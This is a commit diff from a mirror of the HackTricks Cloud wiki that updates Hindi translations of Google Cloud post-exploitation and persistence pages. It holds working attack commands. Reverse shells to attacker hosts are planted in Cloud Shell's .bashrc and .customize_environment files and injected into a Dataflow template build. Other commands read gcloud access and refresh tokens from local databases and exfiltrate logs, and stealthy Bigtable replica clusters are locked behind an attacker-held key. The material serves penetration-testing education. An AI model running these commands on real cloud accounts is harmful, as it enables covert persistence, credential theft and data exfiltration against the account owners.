mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
Translator
@@ -10,11 +10,15 @@ Bigtable के बारे में अधिक जानकारी के
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### समर्पित attacker App Profile
|
||||
### Dedicated attacker App Profile
|
||||
|
||||
**अनुमतियाँ:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
अपना एक app profile बनाएं जो ट्रैफ़िक को आपके replica cluster की ओर मार्गदर्शित करे और Data Boost सक्षम करें ताकि आप उन provisioned nodes पर निर्भर न रहें जिन्हें defenders नोटिस कर सकते हैं।
|
||||
ऐसा एक app profile बनाएं जो ट्रैफ़िक को आपकी replica cluster की ओर रूट करे और Data Boost सक्षम करें ताकि आप उन provisioned nodes पर कभी निर्भर न रहें जिन्हें defenders नोटिस कर सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create stealth app profile</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
जब तक यह प्रोफ़ाइल मौजूद है, आप इसे संदर्भित करने वाले नए क्रेडेंशियल्स का उपयोग करके फिर से कनेक्ट कर सकते हैं।
|
||||
</details>
|
||||
|
||||
### अपना रिप्लिका क्लस्टर बनाए रखें
|
||||
जब तक यह प्रोफ़ाइल मौजूद है, आप इसे संदर्भित करने वाले नए क्रेडेंशियल्स का उपयोग करके पुनः कनेक्ट कर सकते हैं।
|
||||
|
||||
### अपना स्वयं का रिप्लिका क्लस्टर बनाए रखें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
एक शांत क्षेत्र में न्यूनतम नोड-काउंट वाले क्लस्टर को provision करें। भले ही आपके क्लाइंट आइडेंटिटीज़ गायब हो जाएँ, **क्लस्टर प्रत्येक तालिका की एक पूर्ण कॉपी रखता है** जब तक कि रक्षक इसे स्पष्ट रूप से न हटाएँ।
|
||||
एक शांत क्षेत्र में न्यूनतम node-count क्लस्टर प्रोविजन करें। भले ही आपकी क्लाइंट पहचानें गायब हो जाएँ, **क्लस्टर प्रत्येक टेबल की पूरी कॉपी रखता है** जब तक रक्षकों द्वारा इसे स्पष्ट रूप से न हटाया जाए।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>रिप्लिका क्लस्टर बनाएँ</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
इसे `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` के माध्यम से देखें ताकि जब आपको डेटा खींचना हो तो आप तुरंत स्केल अप कर सकें।
|
||||
</details>
|
||||
|
||||
### अपनी CMEK के पीछे replication को लॉक करें
|
||||
इस पर नज़र रखें `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` के माध्यम से ताकि आप डेटा खींचने की आवश्यकता होने पर तुरंत स्केल कर सकें।
|
||||
|
||||
**अनुमतियाँ:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
### अपनी खुद की CMEK के पीछे replication को लॉक करें
|
||||
|
||||
एक clone बनाते समय अपना KMS key लाएं। उस key के बिना, Google क्लस्टर को re-create या fail over नहीं कर सकता, इसलिए blue teams को इसे छूने से पहले आपके साथ समन्वय करना होगा।
|
||||
**अनुमतियाँ:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` attacker-owned key पर।
|
||||
|
||||
क्लोन बनाते समय अपना KMS key लाएँ। उस key के बिना, Google क्लस्टर को re-create या fail over नहीं कर सकता, इसलिए blue teams को उससे छेड़छाड़ करने से पहले आपके साथ समन्वय करना होगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>CMEK-प्रोटेक्टेड cluster बनाएं</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
अपने project में key को rotate या disable करें ताकि replica तुरंत brick हो जाए (और बाद में आप इसे वापस चालू कर सकें)।
|
||||
</details>
|
||||
|
||||
अपने प्रोजेक्ट में कुंजी को रोटेट करें या निष्क्रिय कर दें ताकि आप तुरंत replica को brick कर सकें (फिर भी बाद में उसे वापस चालू करने की अनुमति देते हुए)।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,47 +12,65 @@
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) आपको आपके क्लाउड संसाधनों तक सीधे आपके ब्राउज़र से कमांड-लाइन पहुंच प्रदान करता है, बिना किसी संबंधित लागत के।
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) आपको अपने ब्राउज़र से सीधे आपके क्लाउड संसाधनों के लिए command-line एक्सेस देता है बिना किसी संबंधित लागत के।
|
||||
|
||||
आप **वेब कंसोल** से या **`gcloud cloud-shell ssh`** चलाकर Google का Cloud Shell एक्सेस कर सकते हैं।
|
||||
आप Google's Cloud Shell को **web console** से या **`gcloud cloud-shell ssh`** चलाकर एक्सेस कर सकते हैं।
|
||||
|
||||
इस कंसोल में हमलावरों के लिए कुछ दिलचस्प क्षमताएँ हैं:
|
||||
यह कंसोल attackers के लिए कुछ महत्वपूर्ण क्षमताएँ प्रदान करता है:
|
||||
|
||||
1. **कोई भी Google उपयोगकर्ता जिसे Google Cloud तक पहुंच है** एक पूरी तरह से प्रमाणित Cloud Shell उदाहरण तक पहुंच रखता है (सेवा खाते, यहां तक कि संगठन के मालिक होने पर भी)।
|
||||
2. कहा गया उदाहरण **कम से कम 120 दिनों तक** अपने होम डायरेक्टरी को बनाए रखेगा यदि कोई गतिविधि नहीं होती है।
|
||||
3. उस उदाहरण की गतिविधि की निगरानी के लिए **किसी संगठन के लिए कोई क्षमताएँ नहीं हैं**।
|
||||
1. **Any Google user with access to Google Cloud** का access एक fully authenticated Cloud Shell instance है (Service Accounts भी कर सकते हैं, यहाँ तक कि org के Owners होने पर भी)।
|
||||
2. उक्त instance यदि कोई activity नहीं होती है तो अपना **home directory कम से कम 120 दिनों तक** बनाए रखेगा।
|
||||
3. उस instance की activity की निगरानी करने के लिए किसी organisation के पास **कोई क्षमता नहीं** है।
|
||||
|
||||
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर हर बार इसे चलाने पर एक शेल प्राप्त करेगा बस ऐसा करके:
|
||||
इसका मूलतः मतलब है कि एक attacker उपयोगकर्ता के home directory में backdoor रख सकता है और जब तक उपयोगकर्ता कम से कम हर 120 दिनों में एक बार GC Shell से जुड़ता रहता है, backdoor जीवित रहेगा और attacker हर बार shell प्राप्त कर लेगा बस इसे चलाकर:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell को .bashrc में जोड़ें</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
एक और फ़ाइल है जो होम फ़ोल्डर में **`.customize_environment`** कहलाती है, जो यदि मौजूद है, तो **हर बार** उपयोगकर्ता द्वारा **cloud shell** का उपयोग करने पर **चलायी जाएगी** (जैसे पिछले तकनीक में)। बस पिछले बैकडोर या निम्नलिखित में से एक को डालें ताकि उपयोगकर्ता "नियमित रूप से" cloud shell का उपयोग करते समय स्थिरता बनी रहे:
|
||||
</details>
|
||||
|
||||
होम फ़ोल्डर में एक और फ़ाइल है जिसका नाम **`.customize_environment`** है जो, यदि मौजूद हो, तो उपयोगकर्ता **cloud shell** तक पहुँचने पर **हर बार निष्पादित** होगी (जैसा कि पिछली तकनीक में)। बस पिछला backdoor डाल दें या नीचे दिए गए की तरह एक backdoor डालकर persistence बनाए रखें जब तक उपयोगकर्ता "अक्सर" **cloud shell** का उपयोग करता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>.customize_environment backdoor बनाएं</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **पहली बार जब कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
|
||||
</details>
|
||||
|
||||
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में ब्राउज़र में देखा जाता है:
|
||||
> [!WARNING]
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **जब भी पहली बार कोई authentication की आवश्यकता वाली कार्रवाई की जाती है**, उपयोगकर्ता के ब्राउज़र में एक pop-up authorization window दिखाई देता है। इस window को स्वीकार किए बिना command नहीं चल पाएगा। यदि कोई अनपेक्षित pop-up दिखाई देता है, तो इससे शक पैदा हो सकता है और संभावित रूप से उपयोग की जा रही persistence method compromise हो सकती है।
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
हालांकि, यदि उपयोगकर्ता ने सक्रिय रूप से क्लाउडशेल का उपयोग किया है, तो पॉप-अप नहीं दिखाई देगा और आप **उपयोगकर्ता के टोकन एकत्र कर सकते हैं**:
|
||||
हालाँकि, अगर उपयोगकर्ता ने सक्रिय रूप से cloudshell का उपयोग किया है, तो pop-up नहीं दिखाई देगा और आप **उपयोगकर्ता के tokens इकट्ठा कर सकते हैं**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Shell से access tokens प्राप्त करें</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### SSH कनेक्शन कैसे स्थापित किया जाता है
|
||||
</details>
|
||||
|
||||
बुनियादी रूप से, इन 3 API कॉल का उपयोग किया जाता है:
|
||||
#### SSH कनेक्शन कैसे स्थापित होता है
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (यह आपको आपके द्वारा स्थानीय रूप से बनाए गए सार्वजनिक कुंजी को जोड़ने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह आपको इंस्टेंस शुरू करने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको गूगल क्लाउड शेल का आईपी बताएगा)
|
||||
आम तौर पर, ये 3 API कॉल्स उपयोग में लाई जाती हैं:
|
||||
|
||||
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (यह आपको अपने लोकल रूप में बनाया गया public key जोड़ने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह instance शुरू करने के लिए कहेगा)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको google cloud shell का IP बताएगा)
|
||||
|
||||
लेकिन आप और जानकारी पा सकते हैं [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@@ -4,9 +4,13 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### निर्मित कंटेनर में अदृश्य स्थायीता
|
||||
### निर्मित container में अदृश्य persistence
|
||||
|
||||
[**दस्तावेज़ से ट्यूटोरियल**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) का पालन करते हुए, आप एक नया (जैसे कि python) फ्लेक्स टेम्पलेट बना सकते हैं:
|
||||
[**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) का अनुसरण करते हुए, आप एक नया (उदा. python) flex template बना सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create Dataflow flex template with backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस समय, रिवर्स शेल के अंदर, यह संभव है कि **`/template` निर्देशिका में जाएं और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करें जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करेगा।
|
||||
</details>
|
||||
|
||||
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर बनाया जाएगा:
|
||||
**बिल्ड होते समय, आपको एक reverse shell मिलेगा** (आप पिछले उदाहरण की तरह env variables का दुरुपयोग कर सकते हैं या अन्य params का जो Docker file को arbitrary चीज़ें execute करने के लिए सेट करते हैं)। इस समय, reverse shell के अंदर, यह संभव है कि आप **`/template` directory में जाएँ और मुख्य python script के code को संशोधित करें जो execute होगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना backdoor सेट करें ताकि हर बार job execute होने पर वह भी चल जाए।
|
||||
|
||||
फिर, अगली बार जब job execute होगा, तो बनाया गया compromised container चलाया जाएगा:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dataflow टेम्पलेट चलाएँ</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Logging
|
||||
|
||||
Logging के बारे में अधिक जानकारी प्राप्त करें:
|
||||
Logging के बारे में अधिक जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@ Logging के बारे में अधिक जानकारी प्
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
एक सिंक बनाएं ताकि लॉग को हमलावर की पहुंच योग्य गंतव्य पर एक्सफिल्ट्रेट किया जा सके:
|
||||
लॉग्स को attackers की पहुँच योग्य destination पर exfiltrate करने के लिए sink बनाएं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logging sink बनाएं</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,50 +2,78 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### प्रमाणित उपयोगकर्ता टोकन
|
||||
### प्रमाणीकृत उपयोगकर्ता Tokens
|
||||
|
||||
किसी उपयोगकर्ता का **वर्तमान टोकन** प्राप्त करने के लिए आप चला सकते हैं:
|
||||
किसी उपयोगकर्ता का **current token** प्राप्त करने के लिए आप चला सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SQLite database से access token प्राप्त करें</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
इस पृष्ठ पर देखें कि **gcloud का उपयोग करके इस टोकन का सीधे उपयोग कैसे करें**:
|
||||
</details>
|
||||
|
||||
इस पेज पर देखें कि **gcloud का उपयोग करके इस token का सीधे उपयोग कैसे करें**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
**नया एक्सेस टोकन उत्पन्न करने** के लिए विवरण प्राप्त करने के लिए चलाएँ:
|
||||
विवरण प्राप्त करने के लिए **generate a new access token** चलाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SQLite database से refresh token प्राप्त करें</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
यह भी संभव है कि **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन पाए जाएं।
|
||||
</details>
|
||||
|
||||
एक नया रिफ्रेश किया गया एक्सेस टोकन प्राप्त करने के लिए **refresh token**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ चलाएं:
|
||||
यह भी संभव है कि refresh tokens **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में मिल जाएँ।
|
||||
|
||||
नया refreshed access token प्राप्त करने के लिए **refresh token**, client ID, और client secret के साथ निम्न चलाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get new access token using refresh token</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
**Admin** > **Security** > **Google Cloud session control** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
|
||||
</details>
|
||||
|
||||
Refresh tokens की वैधता को **Admin** > **Security** > **Google Cloud session control** में प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से यह 16h पर सेट होता है, हालांकि इसे कभी समाप्त न होने के लिए भी सेट किया जा सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### प्रमाणीकरण प्रवाह
|
||||
|
||||
जब `gcloud auth login` जैसे कुछ का उपयोग करते समय प्रमाणीकरण प्रवाह एक ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी स्कोप को स्वीकार करने के बाद ब्राउज़र इस तरह का एक अनुरोध उपकरण द्वारा खोले गए http पोर्ट पर भेजेगा:
|
||||
`gcloud auth login` जैसे किसी चीज़ का उपयोग करते समय प्रमाणीकरण प्रवाह ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी scopes स्वीकार करने के बाद ब्राउज़र उस तरह का एक अनुरोध उस http पोर्ट पर भेजेगा जो टूल ने खोला है:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग करके **अंतिम रिफ्रेश टोकन डेटा** प्राप्त करेगा।
|
||||
फिर, gcloud state और code का उपयोग कुछ hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ करके **final refresh token data** प्राप्त करेगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।
|
||||
> ध्यान दें कि localhost के साथ संचार HTTP में होता है, इसलिए डेटा को इंटरसेप्ट करके refresh token प्राप्त करना संभव है; हालांकि यह डेटा केवल 1 बार मान्य होता है, इसलिए यह बेकार होगा — refresh token सीधे फ़ाइल से पढ़ना आसान और बेहतर है।
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
आप सभी Google स्कोप [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) पर पा सकते हैं या उन्हें निष्पादित करके प्राप्त कर सकते हैं:
|
||||
आप सभी Google scopes को [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) पर पा सकते हैं या इन्हें चलाकर प्राप्त कर सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>सभी Google OAuth scopes प्राप्त करें</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
यह स्क्रिप्ट यह देखने की अनुमति देती है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग किए जाने वाले एप्लिकेशन के लिए कौन से स्कोप समर्थित हैं:
|
||||
</details>
|
||||
|
||||
इस स्क्रिप्ट से देखा जा सकता है कि वह एप्लिकेशन जिसके लिए **`gcloud`** प्रमाणीकरण करता है, किन scopes को सपोर्ट कर सकती है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>gcloud के लिए समर्थित scopes का परीक्षण</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
|
||||
</details>
|
||||
|
||||
इसे निष्पादित करने के बाद जाँच की गई कि इस ऐप निम्नलिखित scopes का समर्थन करता है:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
|
||||
**यहां देखें कि कैसे** [**इसका दुरुपयोग करें**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**।**
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### सेवा खाते
|
||||
### सर्विस अकाउंट्स
|
||||
|
||||
जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की **निजी कुंजी फ़ाइल को समझौता** कर लेते हैं, तो आप इसे **आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे**।\
|
||||
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **पीड़ित निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब तक मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**।
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
हालाँकि, अगर आप किसी service account का **OAuth token** चुरा लेते हैं तो यह और भी अधिक दिलचस्प हो सकता है, क्योंकि डिफ़ॉल्ट रूप से ये tokens सिर्फ़ एक घंटे के लिए उपयोगी होते हैं, पर अगर **victim private api key को delete कर देता है, तो OAuth token तब भी valid रहेगा जब तक कि वह expire नहीं हो जाता।**
|
||||
|
||||
### मेटाडेटा
|
||||
|
||||
स्पष्ट रूप से, जब तक आप GCP वातावरण में चल रही मशीन के अंदर हैं, आप **उस मशीन से जुड़े सेवा खाते तक पहुँच प्राप्त कर सकेंगे, जो मेटाडेटा एंडपॉइंट से संपर्क करके**। (ध्यान दें कि इस एंडपॉइंट में आप जो Oauth टोकन एक्सेस कर सकते हैं, वे आमतौर पर स्कोप द्वारा प्रतिबंधित होते हैं)।
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the OAuth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
|
||||
### सुधार
|
||||
### निवारक उपाय
|
||||
|
||||
इन तकनीकों के लिए कुछ सुधार [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) में समझाए गए हैं।
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### संदर्भ
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Storage Persistence
|
||||
# GCP - Storage पर स्थायी पहुँच
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@ Cloud Storage के बारे में अधिक जानकारी
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थिरता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
आप किसी bucket पर persistence बनाए रखने के लिए HMAC बना सकते हैं। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Storage पहुँच के लिए HMAC key बनाना और उपयोग करना</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
एक और एक्सप्लॉइट स्क्रिप्ट इस विधि के लिए [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) मिल सकती है।
|
||||
</details>
|
||||
|
||||
### सार्वजनिक पहुंच दें
|
||||
